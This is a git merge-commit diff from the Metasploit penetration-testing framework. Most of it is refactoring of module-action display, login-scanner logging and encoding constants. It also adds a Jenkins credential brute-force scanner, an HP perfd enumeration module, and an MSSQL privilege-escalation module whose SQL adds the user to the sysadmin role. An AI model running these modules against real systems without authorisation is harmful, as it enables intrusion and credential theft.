Merge branch 'master' into feature/MSP-11124/msf-dbmanager-reorg

MSP-11124
bug/bundler_fix
Luke Imhoff 2014-10-15 14:08:55 -05:00
commit 9456506e3d
No known key found for this signature in database
GPG Key ID: 5B1FB01FB33356F8
48 changed files with 2019 additions and 152 deletions

View File

@ -0,0 +1,60 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# Jenkins login scanner
class Jenkins < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = true
DEFAULT_PORT = 8080
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
self.uri = "/j_acegi_security_check" if self.uri.nil?
self.method = "POST" if self.method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli.connect
req = cli.request_cgi({
'method'=>'POST',
'uri'=>'/j_acegi_security_check',
'vars_post'=> {
'j_username' => credential.public,
'j_password'=>credential.private
}
})
res = cli.send_recv(req)
if res && !res.headers['location'].include?('loginError')
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -31,7 +31,7 @@ class ReadableText
when MODULE_AUX
return dump_auxiliary_module(mod, indent)
when MODULE_POST
return dump_basic_module(mod, indent)
return dump_post_module(mod, indent)
else
return dump_generic_module(mod, indent)
end
@ -84,14 +84,14 @@ class ReadableText
tbl.to_s + "\n"
end
# Dumps an auxiliary's actions
# Dumps a module's actions
#
# @param mod [Msf::Auxiliary] the auxiliary module.
# @param mod [Msf::Module] the module.
# @param indent [String] the indentation to use (only the length
# matters)
# @param h [String] the string to display as the table heading.
# @return [String] the string form of the table.
def self.dump_auxiliary_actions(mod, indent = '', h = nil)
def self.dump_module_actions(mod, indent = '', h = nil)
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent.length,
'Header' => h,
@ -108,6 +108,28 @@ class ReadableText
tbl.to_s + "\n"
end
# Dumps the module's selected action
#
# @param mod [Msf::Module] the module.
# @param indent [String] the indentation to use (only the length
# matters)
# @param h [String] the string to display as the table heading.
# @return [String] the string form of the table.
def self.dump_module_action(mod, indent = '', h = nil)
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent.length,
'Header' => h,
'Columns' =>
[
'Name',
'Description',
])
tbl << [ mod.action.name || 'All', mod.action.description || '' ]
tbl.to_s + "\n"
end
# Dumps the table of payloads that are compatible with the supplied
# exploit.
#
@ -146,6 +168,7 @@ class ReadableText
output << " Privileged: " + (mod.privileged? ? "Yes" : "No") + "\n"
output << " License: #{mod.license}\n"
output << " Rank: #{mod.rank_to_s.capitalize}\n"
output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date
output << "\n"
# Authors
@ -201,6 +224,7 @@ class ReadableText
output << " Module: #{mod.fullname}\n"
output << " License: #{mod.license}\n"
output << " Rank: #{mod.rank_to_s.capitalize}\n"
output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date
output << "\n"
# Authors
@ -210,6 +234,58 @@ class ReadableText
}
output << "\n"
# Actions
if mod.action
output << "Available actions:\n"
output << dump_module_actions(mod, indent)
end
# Options
if (mod.options.has_options?)
output << "Basic options:\n"
output << dump_options(mod, indent)
output << "\n"
end
# Description
output << "Description:\n"
output << word_wrap(Rex::Text.compress(mod.description))
output << "\n"
# References
output << dump_references(mod, indent)
return output
end
# Dumps information about a post module.
#
# @param mod [Msf::Post] the post module.
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_post_module(mod, indent = '')
output = "\n"
output << " Name: #{mod.name}\n"
output << " Module: #{mod.fullname}\n"
output << " Platform: #{mod.platform_to_s}\n"
output << " Arch: #{mod.arch_to_s}\n"
output << " Rank: #{mod.rank_to_s.capitalize}\n"
output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date
output << "\n"
# Authors
output << "Provided by:\n"
mod.each_author { |author|
output << indent + author.to_s + "\n"
}
output << "\n"
# Actions
if mod.action
output << "Available actions:\n"
output << dump_module_actions(mod, indent)
end
# Options
if (mod.options.has_options?)
output << "Basic options:\n"

View File

@ -689,6 +689,16 @@ module Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpServer
UTF_NONE = 'none'
UTF_7 = 'utf-7'
UTF_7_ALL = 'utf-7-all'
UTF_8 = 'utf-8'
UTF_16_LE = 'utf-16le'
UTF_16_BE = 'utf-16be'
UTF_16_BE_MARKER = 'utf-16be-marker'
UTF_32_LE = 'utf-32le'
UTF_32_BE = 'utf-32be'
protected
def initialize(info = {})
@ -700,7 +710,7 @@ protected
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]),
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML)
@ -894,19 +904,19 @@ protected
}
end
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode'])
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
else
# special cases
case datastore['HTML::unicode']
when 'utf-16be-marker'
when UTF_16_BE_MARKER
headers['Content-Type'] = 'text/html'
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
when 'utf-7-all'
headers['Content-Type'] = 'text/html; charset=utf-7'
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
when 'none'
body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE)
when UTF_7_ALL
headers['Content-Type'] = "text/html; charset=#{UTF_7}"
body = Rex::Text.to_unicode(body, UTF_7, 'all')
when UTF_NONE
# do nothing
else
raise RuntimeError, 'Invalid unicode. how did you get here?'

View File

@ -70,7 +70,7 @@ module ReverseTcp
#
def setup_handler
if datastore['Proxies'] and not datastore['ReverseAllowProxy']
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
raise RuntimeError, "TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour."
end
ex = false

View File

@ -21,7 +21,7 @@ class Client
:port => 3790,
:uri => '/api/',
:ssl => true,
:ssl_version => 'SSLv3',
:ssl_version => 'TLS1',
:context => {}
}.merge(info)

View File

@ -2009,7 +2009,7 @@ class Core
res << 'ENCODER'
end
if (mod.auxiliary?)
if mod.kind_of?(Msf::Module::HasActions)
res << "ACTION"
end
@ -2149,10 +2149,10 @@ class Core
print_error("No exploit module selected.")
end
when "actions"
if (mod and (mod.auxiliary? or mod.post?))
if mod && mod.kind_of?(Msf::Module::HasActions)
show_actions(mod)
else
print_error("No auxiliary module selected.")
print_error("No module with actions selected.")
end
else
@ -2721,8 +2721,8 @@ class Core
return option_values_encoders() if opt.upcase == 'StageEncoder'
end
# Well-known option names specific to auxiliaries
if (mod.auxiliary?)
# Well-known option names specific to modules with actions
if mod.kind_of?(Msf::Module::HasActions)
return option_values_actions() if opt.upcase == 'ACTION'
end
@ -2869,7 +2869,7 @@ class Core
#
# Provide valid action options for the current auxiliary module
# Provide valid action options for the current module
#
def option_values_actions
res = []
@ -3146,6 +3146,12 @@ class Core
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
end
# Print the selected action
if mod.kind_of?(Msf::Module::HasActions) && mod.action
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
end
# Uncomment this line if u want target like msf2 format
#print("\nTarget: #{mod.target.name}\n\n")
end
@ -3202,8 +3208,8 @@ class Core
end
def show_actions(mod) # :nodoc:
mod_actions = Serializer::ReadableText.dump_auxiliary_actions(mod, ' ')
print("\nAuxiliary actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
end
def show_advanced_options(mod) # :nodoc:

View File

@ -188,16 +188,22 @@ module ModuleCommandDispatcher
print_status("#{peer} - #{code[1]}")
end
else
print_error("#{peer} - Check failed: The state could not be determined.")
msg = "#{peer} - Check failed: The state could not be determined."
print_error(msg)
elog("#{msg}\n#{caller.join("\n")}")
end
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error => e
# Connection issues while running check should be handled by the module
rescue ::RuntimeError
elog("#{e.message}\n#{e.backtrace.join("\n")}")
rescue ::RuntimeError => e
# Some modules raise RuntimeError but we don't necessarily care about those when we run check()
elog("#{e.message}\n#{e.backtrace.join("\n")}")
rescue Msf::OptionValidateError => e
print_error("Check failed: #{e.message}")
elog("#{e.message}\n#{e.backtrace.join("\n")}")
rescue ::Exception => e
print_error("#{peer} - Check failed: #{e.class} #{e}")
elog("#{e.message}\n#{e.backtrace.join("\n")}")
end
end

View File

@ -0,0 +1,185 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Escalate Db_Owner',
'Description' => %q{
This module can be used to escalate privileges to sysadmin if the user has
the db_owner role in a trustworthy database owned by a sysadmin user. Once
the user has the sysadmin role the msssql_payload module can be used to obtain
a shell on the system.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
))
end
def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
end
# Query for sysadmin status
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
user_status = check_sysadmin
# Check if user has sysadmin role
if user_status == 1
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
disconnect
return
else
print_status("You're NOT a sysadmin, let's try to change that")
end
# Check for trusted databases owned by sysadmins
print_status("Checking for trusted databases owned by sysadmins...")
trust_db_list = check_trust_dbs
if trust_db_list.nil? || trust_db_list.length == 0
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
disconnect
return
else
# Display list of accessible databases to user
print_good("#{trust_db_list.length} affected database(s) were found:")
trust_db_list.each do |db|
print_status(" - #{db[0]}")
end
end
# Check if the user has the db_owner role in any of the databases
print_status('Checking if the user has the db_owner role in any of them...')
dbowner_status = check_db_owner(trust_db_list)
if dbowner_status.nil?
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
disconnect
return
end
# Attempt to escalate to sysadmin
print_status("Attempting to escalate in #{dbowner_status}!")
escalate_status = escalate_privs(dbowner_status)
if escalate_status
# Check if escalation was successful
user_status = check_sysadmin
if user_status == 1
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
else
print_error("Fail buckets, something went wrong.")
end
else
print_error("Error while trying to escalate status")
end
disconnect
return
end
# Checks if user is already sysadmin
def check_sysadmin
# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
status = parse_results[0][0]
# Return status
return status
end
# Gets trusted databases owned by sysadmins
def check_trust_dbs
# Setup query
sql = "SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
result = mssql_query(sql)
# Return on success
return result[:rows]
end
# Checks if user has the db_owner role
def check_db_owner(trust_db_list)
# Check if the user has the db_owner role is any databases
trust_db_list.each do |db|
# Setup query
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
from [#{db[0]}].sys.database_role_members drm
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
if parse_results && parse_results.any?
print_good("- db_owner on #{db[0]} found!")
return db[0]
end
end
nil
end
def escalate_privs(dbowner_db)
print_status("#{dbowner_db}")
# Create the evil stored procedure WITH EXECUTE AS OWNER
evil_sql_create = "use #{dbowner_db};
DECLARE @myevil as varchar(max)
set @myevil = '
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
end';
exec(@myevil);
select 1;"
mssql_query(evil_sql_create)
# Run the evil stored procedure
evilsql_run = "use #{dbowner_db};
DECLARE @myevil2 as varchar(max)
set @myevil2 = 'EXEC sp_elevate_me'
exec(@myevil2);"
mssql_query(evilsql_run)
# Remove evil procedure
evilsql_remove = "use #{dbowner_db};
DECLARE @myevil3 as varchar(max)
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
exec(@myevil3);"
mssql_query(evilsql_remove)
true
end
end

View File

@ -1,34 +0,0 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'Unix Unshadow Utility',
'Description' => %Q{
This module takes a passwd and shadow file and 'unshadows'
them and saves them as linux.hashes loot.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']),
OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']),
OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']),
], self.class)
end
def run
print_error "This module is deprecated and does nothing. It will be removed in the next release!"
end
end

View File

@ -26,8 +26,8 @@ class Metasploit3 < Msf::Auxiliary
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
],
'DisclosureDate' => 'Jan 12 2014'))
register_options(

View File

@ -0,0 +1,88 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# TODO: figure out what these do:
# o: valid command, takes no args, does nothing
# B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args
ALLOWED_COMMANDS = %w(a A i g l p t T u w Z)
def initialize
super(
'Name' => 'HP Operations Manager Perfd Environment Scanner',
'Description' => %q{
This module will enumerate the process list of a remote machine by abusing
HP Operation Manager's unauthenticated 'perfd' daemon.
},
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
'License' => MSF_LICENSE
)
commands_help = ALLOWED_COMMANDS.join(',')
register_options(
[
Opt::RPORT(5227),
OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help])
], self.class)
end
def commands
datastore['COMMANDS'].split(/[, ]+/).map(&:strip)
end
def setup
super
if datastore['COMMANDS']
bad_commands = commands - ALLOWED_COMMANDS
unless bad_commands.empty?
fail ArgumentError, "Bad perfd command(s): #{bad_commands}"
end
end
end
def run_host(target_host)
begin
connect
banner_resp = sock.get_once
if banner_resp && banner_resp =~ /^Welcome to the perfd server/
banner_resp.strip!
print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}")
perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp)
sock.puts("\n")
commands.each do |command|
sock.puts("#{command}\n")
Rex.sleep(1)
command_resp = sock.get_once
loot_name = "HP Ops Agent perfd #{command}"
path = store_loot(
"hp.ops.agent.perfd.#{command}",
'text/plain',
target_host,
command_resp,
nil,
"HP Ops Agent perfd #{command}",
perfd_service
)
print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}")
end
else
print_error("#{target_host}:#{rport}, Perfd server banner detection failed!")
end
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue Timeout::Error => e
print_error(e.message)
end
end
end

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end

View File

@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end

View File

@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end

View File

@ -101,11 +101,15 @@ class Metasploit3 < Msf::Auxiliary
create_credential_login(credential_data)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(credential_data)
end
end

View File

@ -35,11 +35,15 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('PATH', [true, "Drupal Path", "/"])
OptString.new('TARGETURI', [true, "Drupal Path", "/"])
], self.class)
end
def check(base_uri)
def base_uri
@base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/"
end
def check_host(ip)
res = send_request_cgi({
'uri' => base_uri,
'method' => 'GET',
@ -47,31 +51,21 @@ class Metasploit3 < Msf::Auxiliary
}, 25)
if not res
return false
return Exploit::CheckCode::Unknown
elsif res and res.body =~ /\<title\>Access denied/
# This probably means the Views Module actually isn't installed
print_error("#{rhost} - Access denied")
return false
vprint_error("#{rhost} - Access denied")
return Exploit::CheckCode::Safe
elsif res and res.message != 'OK' or res.body != '[ ]'
return false
return Exploit::CheckCode::Safe
else
return true
return Exploit::CheckCode::Appears
end
end
def run_host(ip)
# Make sure the URIPATH begins with '/'
datastore['PATH'] = normalize_uri(datastore['PATH'])
# Make sure the URIPATH ends with /
if datastore['PATH'][-1,1] != '/'
datastore['PATH'] = datastore['PATH'] + '/'
end
enum_uri = datastore['PATH'] + "?q=admin/views/ajax/autocomplete/user/"
# Check if remote host is available or appears vulnerable
if not check(enum_uri)
unless check_host(ip) == Exploit::CheckCode::Appears
print_error("#{ip} does not appear to be vulnerable, will not continue")
return
end
@ -83,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("Iterating on letter: #{l}")
res = send_request_cgi({
'uri' => enum_uri+l,
'uri' => base_uri+l,
'method' => 'GET',
'headers' => { 'Connection' => 'Close' }
}, 25)

View File

@ -39,8 +39,8 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
# There is no TARGETURI because when Glassfish is installed, the path is /
Opt::RPORT(4848),
OptString.new('TARGETURI', [true, 'The URI path of the GlassFish Server', '/']),
OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']),
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
@ -97,7 +97,6 @@ class Metasploit3 < Msf::Auxiliary
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
host: ip,
port: rport,
uri: datastore['URI'],
proxies: datastore["PROXIES"],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
@ -148,7 +147,9 @@ class Metasploit3 < Msf::Auxiliary
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
@ -161,7 +162,9 @@ class Metasploit3 < Msf::Auxiliary
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,

View File

@ -125,7 +125,9 @@ class Metasploit3 < Msf::Auxiliary
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
@ -138,7 +140,9 @@ class Metasploit3 < Msf::Auxiliary
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,

View File

@ -164,11 +164,15 @@ class Metasploit3 < Msf::Auxiliary
create_credential_login(credential_data)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(credential_data)
end
end

View File

@ -63,11 +63,15 @@ class Metasploit3 < Msf::Auxiliary
create_credential_login(credential_data)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(credential_data)
end
end

View File

@ -0,0 +1,74 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/jenkins'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Jenkins-CI Login Utility',
'Description' => 'This module attempts to login to a Jenkins-CI instance using a specific user/pass.',
'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8080)
], self.class)
register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ])
deregister_options('RHOST')
end
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
scanner = Metasploit::Framework::LoginScanner::Jenkins.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 10,
user_agent: datastore['UserAgent'],
vhost: datastore['VHOST']
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
end
end
end
end

View File

@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end

View File

@ -108,11 +108,15 @@ class Metasploit3 < Msf::Auxiliary
create_credential_login(credential_data)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(credential_data)
end
end

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end

View File

@ -72,15 +72,15 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
else
print_error "#{target} - Unsupported target version of MySQL detected. Skipping."
vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping."
end
rescue ::Rex::ConnectionError, ::EOFError => e
print_error "#{target} - Unable to connect: #{e.to_s}"
vprint_error "#{target} - Unable to connect: #{e.to_s}"
end
end

View File

@ -87,9 +87,13 @@ class Metasploit3 < Msf::Auxiliary
create_credential_login(credential_data)
next
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'"
end
end
